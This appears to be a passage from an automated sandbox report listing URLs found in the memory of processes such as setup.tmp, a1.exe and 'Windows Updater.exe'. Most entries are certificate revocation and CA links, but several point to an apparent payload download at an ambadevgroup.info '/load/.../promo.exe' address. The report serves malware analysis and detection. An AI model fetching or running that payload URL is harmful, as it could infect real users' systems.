Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeGA#g
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeRA
Source: setup.tmp, 00000004.00000002.3907486788.0000000000830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeS
Source: setup.tmp, 00000004.00000002.3927324403.0000000004370000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exea62
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exehB
Source: setup.tmp, 00000004.00000002.3907486788.0000000000830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exes
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exev
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exewB
Source: setup.tmp, 00000004.00000002.3905045565.000000000018F000.00000004.00000010.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3929028707.0000000010038000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.3925711182.00000000039B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org/mitrich_k/inno-download-plugin
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0g
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/crl/MTINAutoridadRaiz03
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/ocsp0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
Source: v114.exe, 00000039.00000003.3553914280.0000000000EFF000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553170180.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3552063764.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3552151664.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3556844955.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicYPgFc
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crt0
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: a1.exe, 00000015.00000003.2982783017.0000000003E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oati.net/repository/OATICA2.crl0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oati.net/repository/OATICA2.crt0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crl
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crt08
Source: a1.exe, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://collect.installeranalytics.com
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.siths.se/sithsrootcav1.html0
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: a1.exe, 00000015.00000003.2984992844.0000000003F1C000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987037947.0000000003F21000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985040318.0000000003F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.defence.gov.au/pki0
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: a1.exe, 00000015.00000003.2982783017.0000000003E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.oces.trust2408.com/oces.crl0
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.postsignum.cz/crl/psrootqca4.crl02
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.postsignum.eu/crl/psrootqca4.crl0
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: a1.exe, 00000015.00000003.2984664364.0000000003E53000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984828250.0000000003E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E6F000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982783017.0000000003E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl2.postsignum.cz/crl/psrootqca4.crl01
Source: a1.exe, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0N
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192892684.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4R
Source: a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIDA82.tmp.22.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
